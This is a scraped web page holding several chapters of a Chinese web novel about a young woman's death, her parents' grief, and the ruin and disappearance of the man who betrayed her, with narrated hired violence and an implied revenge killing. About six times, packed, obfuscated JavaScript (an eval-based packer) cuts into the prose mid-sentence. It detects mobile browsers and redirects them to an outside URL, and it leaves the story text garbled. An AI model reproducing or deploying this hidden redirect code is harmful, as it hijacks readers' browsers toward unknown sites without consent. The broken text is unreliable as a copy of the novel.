许母的身体猛地一僵，贴在女儿额头的动作凝固了。她似乎没反应过来，茫然地抬起头，看向那发出刺耳噪音的机器。 许父手里的相册，“啪”地一声滑落在地，散开一地的年华。他像是被瞬间抽走了所有的灵魂，瞳孔急剧收缩，死死地盯着那条不再起伏的直线，张着嘴，却发不出任何声音。 世界，失去了所有的颜色和声音，只剩下那一声漫长到令人绝望的蜂鸣。 “念晞…？”许母极其轻微地、试探性地唤了一声，仿佛怕惊扰了什么。她伸出手，想去碰碰女儿的脸颊。 她的手，停在半空。 因为那双一直空洞睁着的、望着虚无的眼睛，正在缓缓地、极其缓慢地…闭上。 不是昏迷的闭合，而是一种…彻底的、疲惫的、永恒的…落幕。 最后一丝微弱的生命气息，如同轻烟，从她苍白的唇角消散。 她看起来…异常平静。甚至…像是解脱了。所有的痛苦、茫然、空白，都从那张年轻却饱经摧残的脸上褪去了。她只是睡着了，在一个再也没有痛苦和伤害的长梦里。 “不…不！！！”许母的尖叫终于冲破了喉咙，那声音凄厉得不似人声，充满了撕心裂肺的绝望，“念晞！宝贝！睁开眼睛！看看妈妈！求求你！看看妈妈啊！！” 她疯狂地扑上去，抱着女儿尚且温软却已毫无回应的身体，“你醒醒！你醒醒啊！妈妈在这里！妈妈在这里啊！你不能睡！不能睡！！” 许父像是被惊雷劈中，猛地踉跄一步，一口鲜血毫无预兆地从口中喷涌而出，溅落在冰冷的地板和散落的照片上，触目惊心！他顾不上擦拭，扑到床的另一边，用尽全身力气去按压女儿的胸口，试图唤醒那颗沉寂的心脏。 “念晞！爸爸命令你醒过来！听见没有！醒过来！！”他的声音嘶哑狂暴，混合着血沫，眼泪和鲜血糊了满脸，状若疯魔，“爸爸找到证据了！爸爸能给你报仇了！你看看啊！你看看啊！！” 徒劳无功。 那具身体，再也没有给出任何回应。 护士和医生冲了进来，迅速而冷静地开始进行最后的、程式化的抢救。电击，强心针…一切手段用尽。 主治医生最终直起身，沉重地、缓缓地摇了摇头，看了一眼墙上的时钟，声音干涩：“记录时间。患者许念晞，于X点X分…临床死亡。” “死亡”两个字，如同最终的判决，轰然落下。 “啊——！！！”许母发出一声泣血的哀嚎，眼前一黑，彻底晕厥过去，软倒在地。 “不…不…不是真的…”许父拒绝接受，他一把推开试图扶他的医生，死死抱住女儿已经开始逐渐变凉的身体，像一头受伤的野兽，发出呜呜的、破碎的哀鸣，“念晞不怕…爸爸抱着…爸爸抱着你…暖和一下就不冷了…就不冷了…” 他把脸埋进女儿早已失去温度的颈窝，身体剧烈地颤抖，哭得浑身痉挛，却再也暖不回怀中的冰冷。 门外。 那声漫长的死亡警报，像一把重锤，狠狠砸在何宇薛的心脏上！ 他猛地抬头，脸上血色瞬间褪尽！他连滚带爬地扑到门口，透过玻璃，看到了里面那幅人间地狱般的景象——那条直线，医生摇头，许母晕倒，许父抱着彻底失去生息的女儿崩溃痛哭… 整个世界在他眼前轰然倒塌，碎裂成无数片，每一片都映照着许念晞最后闭上双眼的画面。 他…死了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418950|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她…死了。 被他…逼死了。 这个认知像最毒的毒液，瞬间灌满他的四肢百骸，冻结了他的血液，碾碎了他的神经！ “嗬…嗬…”他喉咙里发出破风箱般的怪响，却喘不上气。他猛地用头一下下撞击着冰冷的墙壁，发出沉闷的咚咚声，额头上瞬间一片血肉模糊，却感觉不到丝毫疼痛。 因为心里的那个洞，已经大得吞噬了一切感官。 他滑跪在地上，对着那扇门，像一具被抽走了所有骨头的皮囊。 再也没有了。 那个曾经对他笑、对他生气、全心全意爱过他的女孩。 那个被他欺骗、背叛、亲手推向深渊的女孩。 那个连最后一面，都带着对他彻底遗忘和空白离开的女孩。 他甚至连一句“对不起”，都再也没有机会说出口。 不，他根本不配说“对不起”。 他是凶手。 彻头彻尾的凶手。 监护室的门开了。 医生护士推着盖着白布的床出来，许父像失了魂一样，踉跄着跟在后面，脸上混着血、泪和绝望，怀里还紧紧抱着那本散开的旧相册。 白布之下，是那个他们曾经用全部生命去爱护的女儿。 再也不会笑，不会哭，不会喊一声“爸爸妈妈”了。 何宇薛挣扎着想爬过去，想最后看一眼，想说点什么。 许父经过他身边时，脚步停都没停，甚至看都没看他一眼。 只是用一种彻底被掏空了所有情绪的、死寂般的、冰冷到极致的声音，轻轻说了一句： “滚开。” “你弄脏她的路了。” 这句话，比任何诅咒和殴打都更具毁灭性。 何宇薛伸出的手僵在半空，整个人如同被瞬间冰封，然后彻底碎裂。 他眼睁睁看着那辆铺着白布的车被推远，消失在走廊尽头。 仿佛他生命中最后一点微弱的光，也彻底被他自己亲手掐灭，沉入了永恒的、冰冷的黑暗。 再见了吗？ 再也不见了。 我的…罪孽。 26. 第 26 章 太平间的门，沉重而冰冷，合上的那一刻，仿佛将两个世界彻底隔绝。 外面是喧嚣的、依然运转的人间，里面是永恒的、绝对的寂静。 许父许母没有立刻离开。他们像两尊被抽走了灵魂的石像，僵立在门外，仿佛多停留一刻，就能离女儿更近一点。许母已经哭得脱了力，全靠许父搀扶着，才能勉强站立。许父的脸上，血和泪已经干涸，留下斑驳的痕迹，一双眼睛空洞得吓人，直直地盯着那扇再也无法开启的门。 最终，是闻讯赶来的其他亲属，强忍着悲痛，将他们搀扶回了那间已经失去主人的病房。 病房里，还残留着消毒水、药物，以及一丝极淡的、属于许念晞的气息。那个小小的收音机还放在床头，沉默着。地上，散落的照片像凋零的花瓣，无声地诉说着一个已然逝去的春天。 许母的目光落在女儿睡过的病床上。床单已经被整理过，空荡荡的，平整得令人心碎。她猛地扑过去，一把抱起女儿枕过的枕头，死死地搂在怀里，将脸深深埋进去，贪婪地、绝望地呼吸着那上面几乎已经闻不到的、女儿最后的气息。 “我的念晞…我的孩子啊…”她发出如同母兽丧崽般的呜咽，身体剧烈地颤抖，“你怎么就这么狠心…扔下妈妈走了啊…你让妈妈怎么活…怎么活啊…” 那哭声压抑而破碎，充满了无法用言语形容的绝望。 一位姑姑红着眼圈，开始默默地收拾许念晞留下的寥寥无几的遗物——几件素色的病号服，一双柔软的拖鞋，床头柜上那束已经开始枯萎的小雏菊…每拿起一样东西，都像是在心口上又剜了一刀。 许父呆呆地坐在椅子上，目光没有焦点。他颤抖着手，从地上，一张一张地，拾起那些散落的照片。每拾起一张，他的手指都在照片上那个笑容灿烂的女孩脸上停留片刻，仿佛想用指尖感受那早已消失的温度。 他从一堆杂物里，找出了一支笔——或许是医生遗落的，或许是他自己之前用过的。他拿着笔，在那本被血和泪浸染的旧相册的最后一页，空白处，颤抖地、一笔一划地写下字。 那不是写给任何人的话。 那是写给他远行的女儿的。 【念晞，我亲爱的女儿】 【爸爸和妈妈，来送你最后一程了。】 【这辈子，我们的父女/母女缘分太浅，太苦了。】 【你来的那天，天下着细雨，你哭得响亮，我们笑得开心。】【你走的那天，世界一片寂静，你睡得安稳，我们哭断了肠。】 【这二十五年来，你一直是我们的骄傲，是我们生命里最甜的那颗糖。】 【对不起，宝贝。爸爸没用，妈妈没用，没能保护好你，让你吃了这么多苦，受了这么大的委屈。】 【最后这些日子，看你那么难受，那么茫然，爸爸的心，早就碎成渣了。】 【现在好了，不疼了，再也不疼了。】 【忘了也好，把那些坏人，那些坏事，都忘得干干净净。】 【穿上你最喜欢的裙子，带上你心爱的相机，去一个开满鲜花，充满阳光的地方。】 【那里再也没有欺骗，没有背叛，没有病痛，也没有…忘了一切的我。】 【去奔跑，去欢笑，去拍下所有最美的风景。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418951|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【只是…如果有一天，你在天堂玩累了，偶尔…偶尔能不能低下头，看看人间？】 【看看想你想得快要死掉的爸爸和妈妈？】 【再见了，我的宝贝女儿。】 【愿天堂没有疾病，没有痛苦。】 【愿你来世，一生顺遂，喜乐平安，永不被辜负。】 【永远爱你的爸爸、妈妈】 【泣笔】 写到最后，字迹已经完全被汹涌而出的泪水模糊，扭曲不成形。巨大的悲恸终于彻底击垮了这个沉默坚忍了一辈子的男人，他伏在冰冷的床头柜上，肩膀剧烈地耸动，发出压抑到极致的、如同濒死般的痛哭。 那哭声，沉重得让人窒息。 许母过来，抱住丈夫，夫妻俩相拥着，哭成一团。世间至痛，莫过于白发人送黑发人。而他们的痛，更掺杂了无尽的冤屈和不甘。 亲属们在一旁默默垂泪，无人上前打扰。这最后的告别，需要他们自己熬过去。 许久之后，两人的情绪才稍稍平复，只剩下无声的流泪和麻木的空洞。 他们最终带走了那本写满留言的相册，和那束已经干枯的小雏菊。 离开医院前，许父最后回头，看了一眼那间冰冷的病房窗口。 夕阳的余晖正好落在窗玻璃上，反射出温暖的金色光芒，刺得他眼睛生疼。 他的女儿，永远留在了二十五岁。 留在了这个她受尽苦难、最终遗忘一切离开的人间。 也永远…活在了他们永恒的痛苦和思念里。 再见了，女儿。 愿天堂，没有疾病痛苦。 27. 第 27 章 --- 许念晞的死亡，像一块巨石投入看似平静的湖面，激起的涟漪远比何宇薛想象中更为剧烈和…冰冷。 他想象中的痛苦，是轰轰烈烈的，是能让他肝肠寸断、甚至追随而去的毁灭性浪潮。但真实的痛苦，却是一种无声的、缓慢的、渗透骨髓的冰冷和孤绝。 苏家的反应快得惊人，也冷得刺骨。 在许念晞停止呼吸的那一刻，他在苏家眼中就彻底失去了所有价值——一个不能再用来联姻、反而可能带来污点和麻烦的弃子。 婚礼取消的声明以一种近乎羞辱的速度发布，措辞官方而冷漠，将一切归咎于“双方性格不合”，只字不提何宇薛，仿佛他从未存在过。苏晚晴的父亲，那个曾经拍着他肩膀说“以后就是一家人”的长辈，直接打来了电话，声音里没有一丝温度： “何宇薛，你和晚晴的婚事到此为止。之前合作的项目，何家最好派人来妥善交接。至于其他的，”对方顿了顿，语气里带着毫不掩饰的警告和厌弃，“你好自为之，不要再做出任何有损两家颜面的事情。否则，后果不是你，也不是何家能承担的。” 电话□□脆利落地挂断。 没有质问，没有愤怒，只有冰冷的切割和撇清。仿佛他只是他们不小心踩到的一滩脏水，急于擦干净。 何家也并未给他任何慰藉。他的父亲暴怒过后，是更深的失望和算计。何家的生意因此受到不小的影响，家族内部对他的指责声浪高涨。 “为了一个死去的女人，搞成这个样子！真是废物！”“早知道他是这么个感情用事的蠢货，当初就不该把希望放在他身上！”“现在怎么跟苏家交代？损失谁来承担？” 他成了家族的罪人，一个失败的、惹来一身腥的筹码。家族迅速做出了决定——将他“流放”。一个远离权力核心、无关紧要的闲职，被打发到了遥远的、几乎无人知晓的分公司。美其名曰“冷静一下”，实则是彻底的放逐和抛弃。 众叛亲离。 一夜之间，他失去了所有——未婚妻、家族地位、财富、名声，以及…那个他真正爱过却也亲手毁掉的女孩。 他麻木地收拾着少得可怜的行李，准备前往那个陌生的、灰暗的未来。手机屏幕忽然亮起，是一条来自陌生号码的短信。没有称呼，没有落款，只有冷冰冰的几句话： 【天理昭彰，报应不爽。】【你此生都将活在她死亡的阴影下。】【永无宁日。】 是许父？或是那个叫陈默的男人？或是其他知晓内情的人？他不知道，也不重要了。 每一个字都像淬毒的冰针，精准地扎进他早已千疮百孔的心脏。他知道，这不是诅咒，这是即将到来的、并且会持续一生的…现实。 他来到了被分配到的偏远小城。这里没有繁华，没有熟悉的面孔，只有灰蒙蒙的天空和压抑的生活。他住进狭小逼仄的公寓，对着空洞的四壁。 白天，他像个游魂一样去那个清闲得发慌的岗位报到，处理着无关紧要的文件，忍受着同事若有若无的打量和议论。夜晚，才是真正的地狱。 酒精成了他唯一的慰藉，却又在每一次宿醉醒来后，带来加倍的空虚和痛苦。 他开始出现幻觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418952|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>总是在深夜，耳边会隐约响起监护仪那漫长刺耳的“滴——”声，猛地惊醒，一身冷汗。他会看到许念晞最后闭上眼睛的那一幕，反复播放，清晰得毫发毕现。他会梦见她以前笑着朝他跑来的样子，下一秒就变成她躺在病床上，用那双空洞的眼睛望着他，问：“为什么？” “为什么？” 他无法回答。只能抱着剧痛欲裂的头，在黑暗中发出困兽般的呜咽。 他试图通过酒精和忙碌（哪怕是毫无意义的忙碌）来麻痹自己，但那份罪恶感和失去一切的虚空感，像附骨之疽，日夜啃噬着他。他迅速地憔悴下去，眼窝深陷，脸色苍白，曾经那个矜贵高傲的何家少爷，变成了一个阴郁、沉默、眼神躲闪的落魄男人。 没有朋友，没有亲人，没有未来。 他活着的每一天，都成了对过去的无尽忏悔和折磨。他用自己的余生，给自己判了无期徒刑，囚禁在了亲手制造的废墟里。 他曾以为自己是悲剧的主角，承受着命运的不公和两难的选择。 现在他终于明白了。 他根本不是什么主角。 他只是一个卑劣的、懦弱的、害死了最爱之人的… 渣男。 而渣男的故事，从来不会有救赎，只配在无尽的悔恨和孤独中，烂掉，发臭，直至终结。 窗外下起了冷雨，敲打着玻璃，像永恒的、为他而奏的哀乐。 他蜷缩在冰冷的沙发上，手里攥着一个空酒瓶，眼神空洞地望着天花板。 那里，什么都没有。 只有一片永恒的、冰冷的黑暗。 28. 第 28 章 --- 流放地的日子，是一滩绝望的死水。何宇薛在这滩死水里逐渐下沉，被悔恨、孤独和自我厌弃包裹、腐蚀。酒精无法真正麻痹神经，只会让清醒时的痛苦更加尖锐。 那些来自陌生号码的、如同判决书般的短信，时不时还会出现。每一次响起提示音，都会让他像被电击一样惊跳起来，冷汗涔涔。它们不再是文字，而是化作了许念晞空洞的眼神、许父冰冷的话语、苏家毫不留情的切割，日夜在他脑海里循环播放。 他试图逃避，逃到酒精里，逃到工作的麻木里，甚至逃到街上陌生的人流里。但无论走到哪里，他都感觉有一双无形的、充满恨意的眼睛在盯着他，如影随形。那是许父的眼睛，是陈默的眼睛，甚至是他自己良心的眼睛。 他开始变得疑神疑鬼。总觉得有人在跟踪他，在议论他。办公室里同事无意间的低语，他会立刻竖起耳朵，怀疑是在嘲讽他的落魄。路上行人多看他一眼，他会立刻低下头，觉得那眼神充满了鄙夷。 这种被迫害妄想逐渐扭曲、发酵。 他不再仅仅感到痛苦和忏悔，一种新的、黑暗的情绪开始滋生——怨恨。 为什么是他承受这一切？许念晞死了，一了百了。许家父母虽然痛苦，但他们至少还有彼此，还有正义和同情的立场。而他自己呢？他失去了一切！事业、家庭、未来，还要永远活在这无休止的折磨里！ 这不公平！ 一定是有人在故意整他！是许家！是那个叫陈默的男人！他们不肯放过他！他们毁了他的人生！ 这个念头像毒藤一样在他心里疯狂蔓延，将他最后一丝理智也缠绕、绞杀。他把自己所有的不幸，都归咎于那些不肯原谅他、甚至可能正在暗中看他笑话的人。 他要报复。 这个念头一旦产生，就迅速变得无比强烈和具体。他像一头被困在陷阱里、受了重伤的野兽，不再想着如何疗伤，只想着如何用最后的力量，去撕咬那个他认为设置陷阱的人。 他的目标，锁定在了陈默身上。是他提供了云盘的线索！是他打破了表面的平衡！一定也是他，在不停地发那些该死的短信！ 何宇薛开始利用自己仅存的一点人脉和资源（何家虽然放逐了他，但并未完全切断他所有的经济来源和基础信息渠道），暗中调查陈默。 陈默，海归博士，年轻有为的摄影师，家境优渥，生活顺遂，前途光明。这些信息像毒刺一样扎着何宇薛的眼睛。 看啊，那个“好人”，那个“正义的使者”，正享受着美好的人生，而他呢？像阴沟里的老鼠一样活着！ 嫉妒和怨恨彻底吞噬了他。 他不能直接对许家父母做什么，那会让他自己都觉得自己畜生不如。但陈默…这个“多管闲事”的“帮凶”… 一个恶毒的计划在他扭曲的心里成型。 他通过一些见不得光的地下渠道，花了大价钱，雇佣了几个混混。指令很简单：找到陈默，找个由头，“教训”他一顿。不需要弄出人命，但要足够狠，至少要让他住几个月的医院，毁掉他那个即将举办的、小有名气的摄影展。 “让他也尝尝失去重要东西的滋味。”何宇薛在电话里，声音阴沉得能滴出水。 行动很快开始了。 何宇薛像个隐藏在暗处的幽灵，通过中间人接收着进展报告。他知道陈默的习惯，知道他晚上常去的工作室位置。 一天晚上，陈默在工作室加班到很晚，背着相机包独自走向停车场。 黑暗的角落里，几个黑影无声地围了上去。 … 第二天，何宇薛接到了电话。 “老板，事办了。”“怎么样？”何宇薛的声音带着一丝压抑不住的兴奋和恶毒。“…有点不对劲。”对方的声音有些迟疑，“我们刚围上去，还没动手，突然冲出来另外一帮人，下手比我们还黑！直接冲着那小子去的，专往死里打！我们…我们都没插上手…” 何宇薛愣住了：“另一帮人？谁？”“不知道，看着很专业，不像一般人…我们看情况不对，怕惹上大事，就赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418953|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撤了…” 何宇薛的心猛地一沉。不是他的人？那会是谁？ 他立刻打开本地新闻网页。 一条加粗的新闻标题赫然映入眼帘： 【知名青年摄影师深夜遇袭，重伤昏迷，疑遭恶意报复】 新闻下面还配了一张模糊的现场照片，地上似乎还有未干的血迹。 何宇薛的手开始发抖。这不是他想要的结果！他只想“教训”一下，没想要把他打到重伤昏迷！ 就在这时，他的手机又响了。又是一个陌生号码。 但这次，不是短信，是直接打来的电话。 他颤抖着接通。 电话那头，传来一个冰冷、低沉、仿佛淬着毒液的中年男人的声音，每一个字都像冰锥，狠狠扎进他的耳朵： “何宇薛。”“你果然是个彻头彻尾、無可救藥的人渣。”“你以为，只有你会玩这种下三滥的手段吗？”“你对我女儿做的孽，你以为，就这么算了？”“等着。”“这才刚刚开始。”“我会让你知道，什么叫真正的…家破人亡。” 电话被挂断。 何宇薛握着手机，僵在原地，浑身血液仿佛瞬间冻结。 是许父！ 是许父干的！ 他早就料到自己可能会报复！他早就派人盯着陈默，甚至盯着自己！自己那点可笑的报复行动，根本就在对方的预料甚至掌控之中！ 自己不仅没有报复成功，反而…反而给了许父一个更狠、更彻底地报复自己的理由和借口！ 冷汗，瞬间浸透了他的后背。 他第一次，真真切切地感受到了，来自一个失去独生女儿的父亲，那冷静、精准、不惜一切代价的… 毁灭性的恨意。 他所谓的“报复”，在对方眼里，不过是一场自投罗网、加速自我毁灭的拙劣笑话。 巨大的恐惧，像一只冰冷的手，死死攥住了他的心脏。 他知道，许父的话，绝不是恐吓。 他的地狱，这才刚刚开始… 29. 第 29 章 何宇薛从那个冰冷的出租屋里消失了。 不是那种收拾行李、告知房东的离开。是一种更为彻底、更为诡异的蒸发。 桌上的半瓶廉价威士忌还在，瓶口敞着，散发出刺鼻的气味。吃了一半的泡面盒凝固在桌角，一次性筷子随意丢在一旁。床铺凌乱，一件外套搭在椅背上，仿佛主人只是临时出门，马上就会回来。 但他再也没有回来。 几天后，因为拖欠房租，房东用备用钥匙打开了房门。扑鼻而来的是一股食物腐败和灰尘混合的沉闷气味。屋里的一切都保持着一种停滞的状态，唯独不见了租客本人。 手机静静地躺在床头，已经因为没电而自动关机。钱包里的少量现金和证件都在。他没有带走任何东西，不像预谋离开，更不像匆忙逃窜。 他就这样，人间蒸发了。 起初，并没有人在意。他在这个偏远的小城本就没什么社交，同事只当他终于受不了这份清闲和压抑，不告而别另谋高就了。房东骂骂咧咧地清理了他的东西，换了锁，很快又将房子租给了下一个漂泊者。 何家的反应更为淡漠。这个给家族带来耻辱和麻烦的弃子，他的消失甚至让某些人松了口气，仿佛一个见不得光的污点终于自行抹去了。无人深究，无人寻找。他们甚至没有通知警方，只是内部悄无声息地将他的名字从家族名录里划掉，仿佛他从未存在过。 苏家更是早已将他遗忘。一场失败的联姻棋子，不值得浪费丝毫注意力。 时间平静地流逝。 直到某一天，一则不起眼的地方社会新闻角落，报道了在远郊一处因暴雨引发山体滑坡后，暴露出的废弃多年的防空洞深处，发现了一些无法辨认所属个体的、零星的人类生物组织残留物。报道语气平淡，推测可能是多年前的流浪者或意外遇难者，由于年代久远和环境破坏，已无任何调查价值，很快便被其他新闻淹没。 没有人将这则新闻与那个早已被遗忘的、消失的何宇薛联系起来。 只有极少数知情人，在某个时刻，会突然想起这个人。 许父许母的生活似乎逐渐归于一种沉重的平静。他们很少再提起女儿，只是偶尔会带着一束新鲜的小雏菊，去墓园静静地坐一会儿。许父的生意似乎遇到了一些“贵人”相助，平稳度过了一些难关，甚至比以往更加低调稳固。他的眼神比以前更加深沉，难以看透。 陈默在经过长时间的治疗和休养后，逐渐康复。那场突如其来的、几乎致命的袭击成了悬案，最终不了了之。他变得更加沉默，也更加专注于他的摄影，只是作品中莫名多了一层以前没有的、冷冽的质感。 有时，在极深的夜里，许父会独自一人坐在书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418954|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。不开灯，只有窗外微弱的光线勾勒出他沉默的轮廓。 他会慢慢摩挲着女儿那本旧相册，翻到最后一页，看着自己那被泪水模糊的绝笔信。 然后，他的目光会移向书桌最底下的一个抽屉。那把抽屉上了锁，里面放着什么，无人知晓。 他的脸上没有任何表情，没有悲伤，没有愤怒，也没有快意。 只有一片深不见底的、冰冷的平静。 仿佛所有该流的泪都已流干，所有该爆发的情绪都已燃烧殆尽，只剩下最终极的、也是最初极的——终结。 何宇薛去了哪里？ 是终于无法承受内心的煎熬和自我厌恶，选择了在一个无人知晓的角落自我了断，尸体被野生动物或自然力量分解？ 还是在那个他试图实施可笑报复的夜晚之后，被一股更强大、更冷酷、更隐秘的力量彻底从这个世界上“擦拭”掉了，如同用橡皮擦去纸上一道错误的笔迹，干净利落，不留痕迹？ 没有人知道答案。 他就像投入大海的一颗石子，没有激起多少涟漪，便彻底沉没于永恒的黑暗与寂静之中。 只留下一个模糊的、令人不寒而栗的疑问，和一段被所有人刻意遗忘的、肮脏的过往。 他消失了。 以一种最适合“渣男”的、无声无息的方式。 30. 第 30 章 一种空洞的寂静，取代了何宇薛的存在。 这种寂静并非无声。它存在于房东骂骂咧咧清扫房间时扬起的灰尘里，存在于何家祠堂名录上那处微不足道的空白，存在于苏家宴会厅永不间断的觥筹交错中。它更存在于许家别墅每个深夜书房里那凝固般的空气里，存在于陈默镜头下愈发锐利、却总像缺失了一块的城市剪影中。 世界照常运转，甚至因为少了这颗不稳定的沙砾，而显得更加平滑、顺畅。 但寂静，自有其回响。 --- 陈默的摄影展在一个艺术仓库开幕了。主题是“蚀”。展出的作品大多是他康复后的新作，色调冷峻，构图充满了强烈的割裂感和不稳定的平衡。其中一组关于城市边缘、废弃角落的系列，尤其引人注目。 有一张照片，拍的是一个雨后积水的泥坑，倒映着被钢筋切割的天空，浑浊的水面下，似乎有什么模糊的、无法辨认的阴影。照片命名为《无主之物》。 许父在开幕当天低调现身。他没有惊动任何人，只是静静地站在那幅《无主之物》前，看了很久。陈默走过去，两人并肩而立，没有交谈。 许久，许父才缓缓开口，声音平静无波：“拍得很好。” 陈默侧头看他，只看到一张被岁月和某种更深沉的东西磨砺得坚毅无比的侧脸。 “有些东西，”许父的目光依旧停留在照片上，仿佛在透过那片浑浊的积水凝视更深处，“烂在泥里，比曝晒在阳光下要好。” 陈默沉默地点了点头。他明白，这不仅仅是评价照片。 --- 许母的生活似乎更加简单了。她花更多时间侍弄花园里的花草，尤其是女儿生前最喜欢的那片小雏菊。花开花落，她看得平静。 只是有一次，她在整理女儿旧物时，无意中翻出了一条何宇薛早年送的一条廉价手链。女儿似乎早已遗忘，随手塞在抽屉深处。 许母拿着那条手链，在窗前站了许久。阳光照在劣质的水钻上，反射出廉价的光泽。 最终，她没有扔掉它，也没有放回原处。她走到壁炉边，打开盖子，将手链轻轻丢了进去。火焰很快吞噬了那点微光，噼啪作响，像是在完成一个迟来的、微不足道的净化仪式。 她脸上没有任何表情，只是静静地看着火焰跳动，直到一切归于灰烬。 --- 时间是最好的溶剂，能冲刷掉大多数痕迹。但有些刻痕，深入骨髓。 在某个商业酒会上，许父与何家如今的主事者不期而遇。对方脸上堆起恰到好处的客套笑容，举杯寒暄，言谈间滴水不漏，仿佛家族从未有过一个叫何宇薛的弃子，也从未与许家有过任何不愉快的交集。 许父同样回以无可挑剔的礼节，笑容温和，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418955|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神却像结了冰的湖面，深不见底。 酒杯轻碰的脆响中，两人心照不宣地将那段肮脏的过往，彻底埋葬在了名为“利益”和“体面”的厚土之下。 转身离开的瞬间，许父眼底最后一丝微澜也归于沉寂。他知道，这才是最终的结局。不是法律，不是舆论，而是这种彻底的、冰冷的遗忘与抹除。 --- 何宇薛的消失，成了一个真正的谜。 或许在某个平行时空，他带着无尽的悔恨和自我放逐，在某个肮脏的角落结束了生命。又或许，正如那冰冷寂静所暗示的，一双看不见的手，以绝对的力量和效率，将他从这个世界上彻底“清除”了。 哪一种更接近真相？ 或许，答案本身已经不再重要。 重要的是，他消失了。以一种符合他最终结局的方式，无声无息，如同从未存在。 而活着的人，在这片他留下的空洞寂静中，继续着各自的生活。这寂静并非安宁，而是一种带着沉重回响的、永恒的提醒。 提醒着某些罪孽无法宽恕，只能被抹去。 提醒着某些伤痛无法愈合，只能被冰封。 提醒着，在这看似平静的水面之下，潜藏着足以吞噬一切的、黑暗的力量。 寂静，在回响。 而故事，似乎也在这片回响中，走向了它必然的终局。